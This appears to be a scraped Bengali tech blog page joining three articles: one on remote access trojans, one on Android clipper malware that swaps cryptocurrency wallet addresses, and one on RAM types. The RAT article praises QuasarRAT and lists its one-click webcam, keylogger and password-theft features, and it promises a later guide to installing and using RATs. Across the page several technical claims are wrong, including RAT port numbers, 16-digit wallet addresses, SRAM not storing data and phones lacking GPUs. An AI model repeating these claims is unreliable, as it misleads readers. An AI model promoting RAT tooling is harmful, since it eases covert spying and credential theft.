যখনই কোন বিষয় কি সেটা জেনে যাবেন তখনি আপনার মনে নতুন প্রশ্ন জেগে যাবে এটা কিভাবে কাজ করে? ঠিক তেমনি ভাবে আপনার মনেও প্রশ্ন জেগে গেছে  র‍্যাট কিভাবে কাজ করে? আসলে আমি আগেই বলেছি র‍্যাট কোন সফটওয়্যার না এটা শুধু একটা প্রোগ্রাম যেটা আপনার পিসি তে অনেক ভাবেই ঢুকে যেতে পারে। যেমন ধরুন আপনি কোন একটা সফটওয়্যার ইন্সটল দিয়েছেন সেটার মাঝে র‍্যাট প্রোগ্রাম দেয়া আছে এখন আপনার কম্পিউটার র‍্যাট দ্বারা আক্রান্ত হয়ে গেল। কিন্তু আপনি এটাকে দেখতে পারবেন না বা বুঝতে পারবেন না।

র‍্যাটওয়্যার বা র‍্যাট কি

কেননা এটা কাজ করবে ব্যাকগ্রাউন্ডে. এটা মূলত কাজ করে ব্যাকডোর হিসেবে ঠিক এই কারণেই আপনি যদি সচেতন না হয়ে থাকেন তাহলে আপনি কোন ভাবেই বুঝতেই পারবেন না যে আপনি র‍্যাট দ্বারা আক্রান্ত। হ্যাকার তার নিজের কম্পিউটারে একটা র‍্যাটওয়্যার ইন্সটল দেয় ও নিজের কম্পিউটারে একটা পোর্ট ওপেন করে দেয়। র‍্যাট এর ভেতর এমন ভাবে প্রোগ্রাম করা থাকে যে, যখন ভিকটিমের পিসিতে এই র‍্যাট ঢুকে যাবে তখন ভিকিটিমের পিসিতে একটা পোর্ট ওপেন হবে। যেই পোর্টের মাধ্যমে হ্যাকার ভিকটিমের পিসি নিয়ত্রন করতে পারে। বেশির ভাগ ক্ষেত্রেই এই পোর্ট হয় ২৫ অথবা ৪০ কিন্তু অনেক সময় এই পোর্ট ভিন্ন হয়ে থাকে।

কম্পিউটারের ফ্রি কোর্স করুনঃ

  1. কম্পিউটার কি, এর বৈশিষ্ট্য ও ইতিহাস
  2. কম্পিউটারের বিভিন্ন প্রকার  – Types Of Computer In Bangla.
  3. কম্পিউটারের ব্যবহার – Uses Of Computer In Bangla
  4. কম্পিউটারের সুবিধা এবং অসুবিধা
  5. কম্পিউটার কিভাবে কাজ করে – বাংলাতে কম্পিউটারের কাজ সম্পর্কে সম্পূর্ণ তথ্য
  6. কম্পিউটারের জেনারেশন | Generations Of Computer In Bangla?
  7. কম্পিউটারের ব্যাসিক যন্ত্রাংশ
  8. কম্পিউটার সফটওয়্যার কি

আপনার মনে আসতে পারে এটা করার ফলে হ্যাকার কি লাভ পায়? আসলে এখানে হ্যাকারের অনেক লাভ থেকে থাকে। যেমন ধরুন আপনার পার্সোনাল ইনফোরমেশন হ্যাকার হাতিয়ে নেই, এছাড়াও অনেক কিছু। তাহলে আসুন দেখে নেই হ্যাকার দের উদ্দেশ্য কি থাকে এই র‍্যাট ব্যবহার করার।

  • ভিকটিমের পারসোনাল ইনফোরমেশন হাতিয়ে নেয়া।
  • বোটনেট এর সাথে যুক্ত করা ভিকটিমের কম্পিউটার কে।
  • ক্রেডিট কার্ড এর তথ্য হাতিয়ে নেয়া।
  • আপনার কম্পিউটার এ ভাইরাস ঢুকিয়ে দেয়া।
  • ভিকটিমের অনলাইন একাউন্ট গুলো ব্যবহার বা হ্যাক করাও এদের উদ্দেশ্যর মাঝে একটা।
  • এছাড়া সব থেকে বড় কথা ভিকটিমের কম্পিউটারের সকল এক্সেস নিজের করে নেয়াই এদের প্রধান উদ্দেশ্য।

ড্রোন কি? ড্রোন কিভাবে কাজ করে? বিস্তারিত জানুন

যে সকল পদ্ধতিতে র‍্যাট দ্বারা আক্রান্ত হতে পারেন

আসলে কিভাবে র‍্যাট দ্বারা আক্রান্ত হবেন সেটা নির্দিষ্ট করে কখনো বলা যাবে না। একজন স্পামার বা হ্যাকার আপনাকে অনেক ভাবে র‍্যাট দ্বারা আক্রান্ত করতে পারে। কিন্তু সব থেকে বড় কথা আপনার কম্পিউটারে র‍্যাট কিন্তু এমনিতেই আসবে না আপনাকে অবশ্যই এটা ডাউনলোড করতে হবে। এবার কথা হচ্ছে আপনি কিন্তু ডাউনলোড করছেন আবার আপনি কিন্তু ডাউনলোড করছেন না। বুঝেন নাই?

আসলে স্পামার এমন ভাবে আপনার সাথে চালাকি  করে আপনার কম্পিউটারে র‍্যাট ঢুকিয়ে দিবে আপনি বুঝতেও পারবেন না। তবে বেশির ভাগ ক্ষেত্রেই তারা ইমেইল স্পুফিং বা স্প্যাম মেইল করে ভিকটিমের পিসিতে এটা ঢুকিয়ে দেয়। এছাড়াও অনেক সফটওয়্যারের মাঝে র‍্যাট প্রোগ্রাম ঢুকিয়ে দিয়ে র‍্যাট দ্বারা ভিকটিমের পিসিকে আক্রান্ত করা হয়ে  থাকে। এছাড়াও বিভিন্ন পিডিএফ বা ছবির মাঝেও এই র‍্যাট প্রোগ্রাম ঢুকিয়ে দেয়া হয়। তবে সব থেকে বেশি র‍্যাট প্রোগ্রাম ছড়ানো হয় ইমেইল স্পুফিং এর মাধ্যমে।

কিভাবে র‍্যাট থেকে সুরক্ষিত থাকবেন

যখনই সকল বিষয় গুলো বোঝা হয়ে  যায় তখনই সামনে আসে এর থেকে কিভাবে বাঁঁচা যেতে পারে। হ্যাঁঁ প্রতি বারের মত এবারো আলোচনা আপনি কিভাবে এর থেকে মুক্ত থাকবেন। আসল কথা হচ্ছে র‍্যাট থেকে বাঁচার উপায় খুব কম আমাদের হাতে। যদি না আমরা সচেতন হতে পারি আমরা র‍্যাট থেকে রক্ষা পাবো না। কেননা এখানে যতটা না প্রোগ্রামিং থাকে তার থেকে বেশি থাকে সোশ্যাল ইঞ্জিনিয়ারিং। হ্যাকার বা স্পামার আপনাকে ভুল বুঝিয়ে কোন কিছু ডাউনলোড করে দিবে, তাই নিজেকে সব সময় সচেতন থাকতে হবে। তাহলে আসুন দেখে নেই কিভাবে আপনি র‍্যাট থেকে রক্ষা পাবেন।

  • সন্দেহজনক কোন ইমেইল ওপেন করবেন না, কেননা স্প্যাম ইমেইলের মাধ্যমেই সব থেকে বেশি র‍্যাট ছড়ানো হয়ে থাকে।
  • নিজের এন্ট্রি ভাইরাস সবসময় আপডেট রাখুন, কেননা এট্রি ভাইরাস ছাড়া র‍্যাট ডিটেক্ট করা অনেক কঠিন একটা কাজ।
  • অফিশিয়াল সাইট ছাড়া ও নির্ভর যোগ্য সাইট ছাড়া অন্য কোথাও থেকে ডাউনলোড করবেন না।
  • নির্দষ্ট সময় পর পর নিজের পিসিকে স্ক্যান করুন।
  • আপডেট র‍্যাট গুলো অনেক সময় আপনার এন্ট্রি ভাইরাস ধরতে পারে না, তাই টাস্ক ম্যানেজার থেকে দেখে নিবেন আপনার পিসিতে আসলে কি কি চলছে।যদি কোন কিছু ভুল মনে হয় সাথে সাথে কিল করে দিন।
  • ডাউনলোড করা ফাইল কে স্ক্যান করে নিবেন যদি আপনার মনের মাঝে কোন ধরনের সন্দেহ থেকে থাকে।

মোটা-মুটি ভাবে বলা যায় আপনি এই বিষয়গুলো লক্ষ রেখে যদি পিসি ব্যবহার করেন তাহলে বলা যেতে পারে আপনি অনেক খানি সুরক্ষিত থাকবেন।

নতুন ভয়ের নাম ক্লিপার ম্যালওয়্যার, আপনার এন্ড্রোয়েড ফোনটি কি সুরক্ষিত?

র‍্যাট টুল দিয়ে কি কি করা যেতে পারে

আগেই বলেছি র‍্যাট টুল দিয়ে সম্পূর্ন কম্পিউটার টাকেই চালানো যেতে পারে নিজের মত করে। আপনাদের সুবিধার জন্য আমি এখন একটা QuasarRAT নামে একটা র‍্যাট টুল কে দেখাবো। পরের কোন এক আর্টিকেলে কিছু র‍্যাট টুল কিভাবে ইন্সটল দিবেন, ব্যবহার করেন সেই নিয়ে আলোচনা করবো আমরা।

র‍্যাটওয়্যার বা র‍্যাট কি

QuasarRAT এই টুল টা উইন্ডোজ কম্পিউটারে ব্যবহার করা যায় ও আমার কাছে এই টুল টা খুব ভাল লেগেছে। বিশেষ করে এর ইন্টারফেস টা খুব সুন্দর ও কোন ঝামেলা নেই এটার মাঝে। ফাইল ম্যানেজার, স্টার্টআপ মেনু, রিমোট শেল , টিসিপি কানেকশন সকল কিছু খুব সহজেই ব্যবহার করা যায়।

এছাড়াও এটাতে খুব সহজে ভিকটিম পিসি অফ করে দেয়া যায়, রিস্টার্ট করে দেয়া যায়। এর জন্য আলাদা করে কোন কমান্ড বা কোড টাইপ করা লাগে না।

র‍্যাটওয়্যার বা র‍্যাট কি
র‍্যাটওয়্যার বা র‍্যাট কি

এছাড়াও ১ ক্লিকে রিমোট ওয়েব ক্যামেরা, রিমোট ডেস্কটপ ভিউ, কি-লগার সেন্ড, পাসওয়ার্ড চুরি করে নেয়া যায়।

র‍্যাটওয়্যার বা র‍্যাট কি
র‍্যাটওয়্যার বা র‍্যাট কি

এই র‍্যাট টুল টা দিয়ে বিভিন্ন ডাইরেক্টোরিতে খুব সহজে ঘুরে বেড়ানো যায়। যেকোন ফোল্ডারের ফাইল গুলো দেখা যায় ও ডাউনলোড করা যায়।

র‍্যাটওয়্যার বা র‍্যাট কি
র‍্যাটওয়্যার বা র‍্যাট কি

র‍্যাটওয়্যার বা র‍্যাট কি
র‍্যাটওয়্যার বা র‍্যাট কি

আশা করি আপনার মাঝে র‍্যাট টুল নিয়ে মোটা-মুটি ধারণা চলে এসেছে। এটার কাজ নিয়ে ধারণা চলে এসেছে। এটা শুধু একটা ওভারভিউ ছিল মাত্র।

আশা করি আপনার কাছে ভাল লেগেছে। আমাদের কাজ সহজ ও সুন্দর ভাবে আমাদের নিজেদের জ্ঞান আপনাদের সাথে শেয়ার করা। সাথে বাংলা ভাষাকে আরো শক্তিশালী করে গড়ে তোলা।

 

সিকিউরিটি

নতুন ভয়ের নাম ক্লিপার ম্যালওয়্যার, আপনার এন্ড্রোয়েড ফোনটি কি সুরক্ষিত?

আপনি যখন খুব সহজে কোন বাস জার্নি করছেন, তখন হয়তো আপনার পকেট থেকে আপনার মানি ব্যাগটি চুরি হয়ে গেছে। কিন্তু আপনি জানতে পারলেন না। ঠিক তেমনি ভাবে এন্ড্রোয়েড ব্যাবহার কারীদের জন্য নতুন করে ভয় সৃষ্টি করেছে ক্লিপার ম্যালাওয়্যার। গত ৪ জানুয়ারী ২০১৯ সালে গুগোল প্লে স্টোরে প্রথম ক্লিপার ম্যালাওয়্যার ছাড়া হয়। এটা আপনার E-Wallet থেকে সেই পকেট মারের মত করেই টাকা নিয়ে উঠাও হয়ে যাবে কিন্তু আপনি জানতেও পারবেন না। আজকে জানতে পারবেন ক্লিপার ম্যালাওয়্যার কি? কিভাবে কাজ করে ক্লিপার ম্যালাওয়্যার? এবং আপনি কিভাবে ক্লিপার ম্যালাওয়্যার থেকে নিজেকে সুরক্ষিত রাখবেন?

ক্লিপার ম্যালওয়্যার কি?

ক্লিপার ম্যালাওয়্যার
ক্লিপার ম্যালাওয়্যার

 

ক্লিপার ম্যালাওয়্যার মূলত কাজ করে ক্লিপের কপি পেস্টের ওপর ভিত্তি করে। হ্যাকার গন খুবই সুন্দর ও সুক্ষ কন্সেপ্ট ব্যবহার করেছে এখানে। তাদের মূল টার্গেট মূলত ক্রিপ্টোকারেন্সি ব্যবহারকারীরা। যেমন ধরুন বিটকয়েন, ইথারিয়াম এইসবের ব্যবহার কারীদের কে হ্যাকার টার্গেট করে। আপনি যখন কারো সাথে আপনার E-wallet এর মাধ্যমে অর্থ লেন দেন করবেন। তখন সব টাকা হ্যাকারের হাতে চলে যাবে।

ড্রোন কি? ড্রোন কিভাবে কাজ করে? বিস্তারিত জানুন

ক্লিপার ম্যালওয়্যার কিভাবে কাজ করে?

ক্লিপার ম্যালাওয়্যার
ক্লিপার ম্যালাওয়্যার

সব কিছুই বুঝলাম, এখন প্রশ্ন হচ্ছে কিভাবে ক্লিপার ম্যালাওয়্যার কাজ করে? ক্লিপার ম্যালাওয়্যার কাজ করে ক্লিপ কপি পেস্টের উপর ভিত্তি করে। আপনি আপনার ডিভাইস ব্যাবহারে সময় কি কি কপি করছেন সব কিছু ক্লিপার ম্যালাওয়্যার মনিটর করে। আপনি যখন কোন E-Wallet এড্রেস কপি করেন ও সেটা পেস্ট করতে যান, তখনই এই ম্যালাওয়্যার আপনার এড্রেসের স্থানে হ্যাকারের দেয়া এড্রেস বসিয়ে দেয়। কিন্তু আপনি বুঝতে পারবেন না এই কারনেই যে, E-Wallet গুলো অনেক বড় হয়ে থাকে। সাধারণত ১৬ ডিজিটের। আমরা এত লক্ষ করি না আসলেই পেস্টের সময় আমাদের দেয়া নিদির্ষ্ট Wallet এড্রেস টি পেস্ট হচ্ছে কি না। যখনই আপনি সেই এড্রেসে টাকা পাঠাবেন বা অন্য কাওকে আপনার সেই এড্রেস টি দিবেন তখনই সকল টাকা গুলো হ্যাকারের এড্রেসে চলে যাবে।

ক্লিপার ম্যালাওয়্যারের ইতিহাস

জিপিএস (GPS) কি? জিপিএস ট্রাকিং কি? এর কাজ করার পদ্ধতি কেমন?

ক্লিপার ম্যালাওয়্যার যে এখনই নতুন আবির্ভুত হচ্ছে তাই না। এটা ২০১৭ সালে প্রথম আমাদের সামনে আসে। যদিও তখন সেটা উইন্ডোজ কম্পিউটার গুলোতে শুধু এট্যাক করা হয়েছিল। পরর্বতিতে এসে এন্ড্রোয়েডের জন্য আলাদা ভাবে ক্লিপার ম্যালাওয়্যার বানানো হয় ও সেই মাল্যাওয়্যার গুলোকে ব্লাক মার্কেটে সেল করা হয়। ২০১৬ সালে ক্লিপার ম্যালাওয়্যারের মত গোলিগান ম্যালাওয়্যারের মাধ্যামে প্রায় ১ মিলিয়ন ডিভাইস আক্রান্ত করা হয়। কিন্তু ২০১৯ সালে এসে সব রেকর্ড ভেঙ্গে দিয়ে এন্ড্রোয়েডের স্টোর গুগোল প্লে তে প্রথম ক্লিপার ম্যালাওয়্যার যুক্ত একটা এপ্স ছাড়া হয়। যেটা গুগল ভেরিফিকেশন করে কোন সমস্যা ছাড়াই মার্কেটে ঢুকে পরে। যদিও এটা ৭ দিনের বেশি গুগোল প্লে তে থাকতে পারে নাই।

বাইনারি সংখ্যা কি? আপনার কম্পিউটার কিভাবে বাইনারি সংখ্যা বুঝে থাকে?

কি ধরণের এপ্সে ক্লিপার ম্যালাওয়্যার থাকতে পারে?

এটা যেকোন ধরণের এপসেই থাকতে পারে। যদিও প্লে ষ্টোরে প্রথম পাওয়া যায় ক্রিপ্টো কারেন্সি চেঞ্জার একটু এপসে। যার নাম MetaMask এটা মূলত একটা ব্রাউজার টাইপ এপস। যেহেতু এটাকে প্রে ষ্টোরে পাওয়া গেছে তাই এটাকে অনেক ধরণের এপসেই ব্যবহার করা যেতে পারে। যদিও গুগোল এটা প্রতিরোধ করার জন্য কাজ করছে। আপনি আরো জানতে এই টুইটার প্রোফাইল টা চেক করুন Lukas Stefanko (@LukasStefanko)

ক্লিপার ম্যালাওয়্যার থেকে কিভাবে সুরক্ষিত থাকবেন?

এটা আসলে অনেক বড় একটা প্রশ্ন। যেহেতু গুগল প্লে স্টোরে এই এপস পাওয়া গেছে, তাই নিজের পক্ষে নিরাপদ থাকা খুবই কঠিন। তারপরেও এর থেকে রক্ষা পেতে হলে আপনাকে একটু সচেতন থাকতে হবে। ক্লিপার ম্যালাওয়্যার কিভাবে কাজ করে সেটা যদি বুঝতে পারেন তাহলে এটা আরো সহজ হয়ে যাবে। আপনি প্লে ষ্টোর থেকে যখন কোন এপস ডাউনলোড করবেন তার পাবলিস ডেট ও ডাউনলোড সংখ্যা দেখুন। কেননা কোন স্ক্যাম এপস খুব বেশি ডাউনলোড হয় না। তাই বেশি ডাউনলোড হওয়া এপস ডাউনলোড করুন। সাথে যদি সম্ভব হয় পপুলার পাবলিশিয়ারের অপস ব্যবহার করুন। এটা ছাড়া এখন পর্যন্ত কোন রকম উপায় এর পথ নাই। যেহেতু প্লে ষ্টোরে এর আপডেট আসে নাই। তাই কিছু দিন ওয়েট করুন।

ক্লিপার ম্যালাওয়্যার
ক্লিপার ম্যালাওয়্যার

শেষ কথা

আশা আমার এই আর্টিকেল আপনার ভাল লাগেছে। আমাদের দায়িত্ব আপনাদের তথ্য দেয়া। কিন্তু সুরক্ষিত থাকার দায়িত্ব আপনার নিজের। ইন্টারনেট যেভাবে সব সুন্দর করে দিয়েছে আমাদের তেমনি ভাবে আমাদের জীবন কে ঝাঝরা বানাই দিতেও পারে। তাই সচেতন থাকবেন। ভাল থাকবেন।

কিভাবে

র‍্যাম কি? র‍্যাম কিভাবে কাজ করে?

পাবজি খেলবো কিন্তু ফোনের র‍্যাম ১ জিবি, আহা কি ঝামেলা দেখুন তো। এখন আবার ফোনের র‍্যাম বাড়াতে, নতুন RAM কিনতে হবে। র‍্যাম কথা টার সাথে তো আমরা সবাউ কম বেশি পরিচিত। কিন্তু RAM কি? আবার DD3, DD4, DD5 এই সব র‍্যাম গুলো কি তা কিন্তু আমরা কেও তেমন ভাবে জানি না। আপনি র‍্যাম নিয়ে না জেনে থাকেন তাহলে আমাদের এই আর্টিকেল টি পড়ুন। আপনার সকল প্রশ্নের সমাধান করে দিব এই একটি আর্টিকেলের মাঝেই।

RAM কি

র‍্যাম হচ্ছে তড়িৎ মেমোরি। যা ক্ষনস্থায়ী, আপনি যখন আপনার কম্পিউটার বা মোবাইলে কোন কাজ করবেন তখন সেই কাজের জন্য যে মেমোরির প্রয়োজন পরে সেটা করে র‍্যাম করে। আপনি যতক্ষণ কাজ করবেন না, ততক্ষন আপনার র‍্যাম কাজ করবে না। বলতে পারেন অনেক টা আপনার আমার ক্ষনস্থায়ী মেমোরির মত। একটা উদাহরণ দেই তাহলে আরো ভাল ভাবে বুঝবেন, মনে করুন আপনি পানি খাবেন, আপনার কাছে বোতল আছে। পানি বোতলে ভরে খেয়ে নিলেন। আবার যদি ঠান্ডা কিছু খেতে মন চাই সেটাও খেতে পারবেন বোতলে ভরে। এই বোতল টাই হচ্ছে RAM। আপনার কম্পিউটার বা মোবাইল র‍্যাম কে ইচ্ছা অনুযায়ী ব্যবহার করে। তাই বেশি পানি খেতে চাইলে বোতল বড় করেন নাহলে আর পাবজি খেলা যাবে না। :p

কিছু প্রয়োজনীয় উইন্ডোজ কমান্ড, যা সম্পর্কে আপনার জানা উচিৎ।

RAM এর কাজ কি

আমাকে যদি র‍্যাম নিয়ে কথা বলতে দেওয়া হয় তাহলে আমি বলবো র‍্যাম হচ্ছে এই পৃথীবির সব থেকে থেকে নিরিহ জীব। যদিও এটা বস্তু। কেননা আমরা তাকে ব্যবহার করি কিন্তু তাকে মনে রাখি না। কেমন করে ব্যবহার করি শুনবেন? শুনুন তাহলে জীবনে কোন কিছু কপি করেছেন? যদি না করে থাকেন তাহলে করেন তো একটু। এই লেখা টা কপি করে পেস্ট করেন। কি করেছেন তো? আপনি যে কপি করলেন তো লেখা টা কোথায় কপি ছিল? আপনি কি মেমোরিতে কপি করছিলেন নাকি, করছিলেন তো ক্লিপ বোর্ডে। তাহলে এই লেখা টা কপি অবস্থায় ছিল কোথায়? হুম, সে র‍্যামেই ছিল। আপনি র‍্যামকে ভুলে যেতে পারেন র‍্যাম আপনাকে ভুলেও ভুলে যাচ্ছে না। আর এটাই র‍্যামের কাজ। আপনার কম্পিউটার বা মোবাইলের যত সফটওয়্যার জনিত কাজ তার মেমোরি এই র‍্যাম প্রদান করে। তাই র‍্যাম কে ভালবাসুন। আর আপনি একজন গেমার হয়ে থাকলে র‍্যাম কে দুদু খাওয়ান আর এর পুষ্টি বাড়ান। :p

আপনি কি ইথ্যিক্যাল হ্যাকিং শিখতে চান? আমাদের এই আর্টিকেল গুলো পড়ুনঃ

 

ram এর প্রকারভেদ

র‍্যাম কি
র‍্যাম কি

র‍্যাম কিন্তু অনেক ধরণের হয়ে থাকে, যেমন, ৪ জিবির DDR3 র‍্যাম হয় আবার ৪ জিবির DDR4 র‍্যাম হয়। কিন্তু র‍্যামের প্রকারভেদ কিন্তু এই গুলো র‍্যাম সাধারণত হয়ে থাকে ৬ ধরণের

ড্রোন কি? ড্রোন কিভাবে কাজ করে? বিস্তারিত জানুন

    • Static RAM (SRAM)
    • Dynamic RAM (DRAM)
    • Synchronous Dynamic RAM (SDRAM)
    • Single Data Rate Synchronous Dynamic RAM (SDR SDRAM)
    • Double Data Rate Synchronous Dynamic RAM (DDR SDRAM, DDR2, DDR3, DDR4)
  • Graphics Double Data Rate Synchronous Dynamic RAM (GDDR SDRAM, GDDR2, GDDR3, GDDR4, GDDR5)

আমরা RAM বলতে যা বুঝি তা হচ্ছে Double Data Rate Synchronous Dynamic র‍্যাম কে। কিন্তু এই গুলো ছাড়াও আরো অনেক র‍্যাম আছে। এখন জানবো এই সকল র‍্যামের বিস্তারিত।

Static RAM (SRAM)

Static RAM (SRAM) প্রথম মার্কেটে আসে ১৯৯০ সালে যা এখনো বিভিন্ন ইলেক্ট্রনিক্স প্রোডাক্টে ব্যবহার করা হয়। যেমন ধরুন ডিজিটাল ক্যামেরা, রাউটার, পিন্টার ইত্যাদি তে। এই র‍্যাম গুলো সাধারণত কোন ডাটা স্টোর করে রাখে না। তাই রিফ্রেশ করার কোন ঝামেলা নাই। মূলত এই কারণেই একে স্ট্যাটিক র‍্যাম বলা হয়ে থাকে। এটা হচ্ছে ব্যাসিক একটা র‍্যাম।

Dynamic RAM (DRAM)

যে ২ টি ব্যাসিক RAM আছে তার মাঝে আরেক টি হচ্ছে এই DRAM. এটা মার্কেটে আসে ১৯৭০এ ও ১৯৯০ এর মাঝামঝি সময়ে এর ব্যবহার বন্ধ হয়ে যায় । এই র‍্যাম গুলো কাজ করার জন্য রিফ্রেশের প্রয়োজন পরে। ভিডিও গেম কনসোল, নেটওয়্যার্ক হার্ডওয়্যার ইত্যাদিতে এই র‍্যাম ব্যবহার করা হয়ে থাকে। এই র‍্যাম গুলো ডাকা স্টোর করে রেখে দিতে পারে। কিন্তু বিদ্যুত প্রবাহ বন্ধ হয়ে গেলেই এই র‍্যামের সকল স্টোর করা তথ্য গায়েব হয়ে যাবে। মানে আমাদের কম্পিউটারের র‍্যাম হচ্ছে এক ধরণের DRAM।

Synchronous Dynamic RAM (SDRAM)

SDRAM মার্কেটে আসে ১৯৯৩ সালে ও যা এখন পর্যন্ত ব্যবহার করা হয়ে থাকে। এই RAM গুলো সাধারণত কম্পিউটার ও ভিডিও গেম কনসোলে ব্যবহার করা হয়ে থাকে। এই র‍্যাম আসার পর থেকেই DRAM এর ব্যবহার শেষ হয়ে যায়। কিন্তু নাম দেখেই তো বুঝতে পারছেন SDRAM হচ্ছে DRAM এর একটি নতুন সংস্করণ। এই র‍্যাম গুলো সিপিইউ এর সাথে সিঙ্ক হয়ে কাজ করে। আর এই কারণেই এটা খুব জনপ্রিয় হয়ে উঠে।

Single Data Rate Synchronous Dynamic RAM (SDR SDRAM)

SDR SDRAM হচ্ছে SDRAM এর আরেকটি ভার্শন। আমরা সাধারণ যেসকল র‍্যাম গুলো ব্যবহার করে থাকি সেই র‍্যাম গুলোর প্রথম ধাপ আপনি এটাকেই বলতে পারেন। একে আপনি DDR র‍্যাম বলেও ডাকতে পারে। যদিও DDR SDRAM হচ্ছে 2nd genaration SDR SDRAM কিন্তু এটাকে SDR SDRAM না বলে DDR SDRAM হিসাবে চিহ্নিত করা হয়। এই র‍্যাম গুলো সাধারনত ব্যবহার করা হয়ে থাকে কম্পিউটারে ও ভিডিও গেম কনসোলে। এটিও প্রথম মার্কেটে আসে ১৯৯৩ সালে, যা এখন পর্যন্ত চলছে।

Double Data Rate Synchronous Dynamic RAM (DDR SDRAM)

DDR SDRAM আমরা এখন যেসকল র‍্যাম ব্যবহার করে থাকি তার সব গুলোই এই ধরের র‍্যামের মাঝেই পরে থাকে। ২০০০ সালে এই র‍্যাম প্রথম মার্কেটে আসে, যা এখন পর্যন্ত চলছে। এই র‍্যাম সবথেকে বেশি ব্যবহার করা হয় কম্পিউটারে। আমরা যেসকল DDR2, DDR3, DDR4 র‍্যাম চিনে থাকি তার সব গুলোই এই র‍্যামের আওতাভুক্ত।

DDR2 হচ্ছে DDR SDRAM এর পরবর্তী ভার্শন। এই র‍্যামেই প্রথম ডাবল ডাটা রিড ও রাইট করার মত ফিচার নিয়ে আসা হয়। এটা অন্যান্য র‍্যামের থেকে অনেক বেশি ফাস্ট হয়েছিল কেননা এটা অনেক ক্লক স্পিডে রান করতে পারতো। DDR যেখানে ছিল সর্বোচ্চ ২০০ মেগা হার্জ DDR2 ছিল ৫৩৩ মেগা হার্জের। কিন্তু মাত্র 1.8 ভোল্টেজেই চলতো এই র‍্যাম। এর পিনের সংখ্যা ২৪০ টি।

DDR3 SDRAM হচ্ছে DDR2 SDRAM এর পরের ভার্শন। এই র‍্যামে তেমন কোন আলাদা ফিচার নেই। কিন্তু এটা DDR2 র‍্যামের থেকেও অনেক ফাস্ট ছিল। কেননা এটি ছিল ৮০০ মেগা হার্জের থেকেও বেশি।

তাছাড়া এটিতে ছিল ওভার ক্লক করার সুবিধা। কিন্তু এটিতে সমান পরিমান পিন আছে DDR2 এর মতই।

DDR4 SDRAM হচ্ছে DDR3 SDRAM এর পরের ভার্শন। এটা বাকি সকল র‍্যামের থেকে অনেক গুনে বেশি ফাস্ট। এটাতে যেমন আছে অনেক বেশি মেমোরি, তেমনি এটি মাত্র 1.2 ভোল্টের। এটি সর্বোচ্চ ১৬০০ এর উপরে মেগাহার্জ সম্পন্ন। সাথে এটাতে ব্যবহার করা হয়েছে ২৮৮ টি পিন বলতেই পারেন এটা অন্যান্য র‍্যামের তুলনাই অনেক গুনে বেশি ফাস্ট।

কম্পিউটারের ফ্রি কোর্স করুনঃ

  1. কম্পিউটার কি, এর বৈশিষ্ট্য ও ইতিহাস
  2. কম্পিউটারের বিভিন্ন প্রকার  – Types Of Computer In Bangla.
  3. কম্পিউটারের ব্যবহার – Uses Of Computer In Bangla
  4. কম্পিউটারের সুবিধা এবং অসুবিধা
  5. কম্পিউটার কিভাবে কাজ করে – বাংলাতে কম্পিউটারের কাজ সম্পর্কে সম্পূর্ণ তথ্য
  6. কম্পিউটারের জেনারেশন | Generations Of Computer In Bangla?
  7. কম্পিউটারের ব্যাসিক যন্ত্রাংশ
  8. কম্পিউটার সফটওয়্যার কি

Graphics Double Data Rate Synchronous Dynamic RAM (GDDR SDRAM)

আমরা GPU এর কথা তো সবাই জানি। হ্যাঁ, আমাদের গ্রাফিক্স কার্ডে যে সকল র‍্যাম ব্যবহার করা হয় সেই গুলোই হচ্ছে GDDR SDRAM। এটি প্রথম মার্কেটে আসে ২০০৩ সালে। জানা কথাই যে এটি গ্রাফিক্স কার্ডে ব্যবহার করা হয়। কিন্তু এখন কিছু কিছু ট্যাবলেটেও এই র‍্যাম ব্যবহার করা হয়। এটাও SDRAM র‍্যামের একটা ডাল বলতে পারেন। কিন্তু এটিকে বানানো হয়েছে বিশেষ করে ভিডিও রেন্ডারিং এর জন্য।

বেসিক কম্পিউটার নিরাপত্তাঃ কিভাবে ভাইরাস, হ্যাকার এবং চোর থেকে নিজের কম্পিউটারকে রক্ষা করবেন?

Mobile ram এর কাজ কি

আপনার কম্পিউটার যেমন র‍্যামের প্রয়োজন রয়েছে ঠিক তেমনি ভাবে আপনার মোবাইল ফোনেও র‍্যামের প্রয়োজন রয়েছে। বর্তমানে আপনার ফোনে যত বেশি র‍্যাম হবে তত বেশি আপনার জন্যই ভাল। কেননা বর্তমানে ফোনের এপস গুলো বেশি আপডেট হয়ে গেছে। সেই কারণে এই সকল এপস গুলোর ডাটা রাইট ও রিড করার জন্য RAM বেশি ব্যবহার হয়। কিন্তু আপনার ফোনে যদি র‍্যাম বেশি না থাকে তবে আপনার ফোনে বেশি এপস বা টাস্ক আপনি রান করাতে পারবেন না। তাছাড়া আপনি বা আমি যেসকল এন্ড্রোয়েড ফোন ব্যবহার করি, সেই ফোন গুলো লিনাক্স কার্নেলের ওপর ভিত্তি করে বানানো। আর এই কার্নেলে বেশির ভাগ ফাইল রান হওয়ার সময় ডি-কম্প্রেস হয়ে রান হয়। যার পুরোটাই র‍্যামের ওপর প্রোসেস হয়। এছাড়া আপনি বা আমি যেসকল গেম খেলি তার জন্য কিন্তু GPU এর প্রয়োজন কিন্তু ফোনে GPU না থাকাই র‍্যামকেই GPU হিসাবে ব্যবহার করা হয়। যদিও বর্তমানে কিছু ফোনে GPU ব্যবহার করতে দেখা গেছে। যদিও সেটা সংখ্যার দিক থেকে অনেক কম। এছাড়াও র‍্যামের ব্যবহার আপনার সেল ফোন সিগনালেও লক্ষ করা যায়। সামনে যে ৫ জি ফোন গুল্যো আসছে তার জন্য আপনার ফোনের র‍্যাম অবশ্যয় বৃদ্ধি পাবে। বলতে পারেন র‍্যাম যত বেশি হবে আপনার জন্য তত ভাল। দিন যত বৃদ্ধি পাবে কম র‍্যামের ফোন গুলোকে বাতিল বলে গন্য করা হবে। তাই বেশি র‍্যামের ফোন কিনুন ও কিছু বছর নিশ্চিতে থাকুন। ফোনের RAM বাড়ানোর চিন্তা করেন না, কেননা শুধু মাত্র কম্পিউটারের র‍্যাম বাড়ানো যায়, ফোনের র‍্যাম না। যদিও কিছু এপস আছে RAM বাড়ানোর কিন্তু এইসব ধান্দা বাজি করে নিজের ফোনের গুষ্টি উদ্ধার করবেন না।

ড্রোন নিয়ে কিছু মজার প্রশ্ন ও উত্তর পর্বঃ১

শেষ কথা

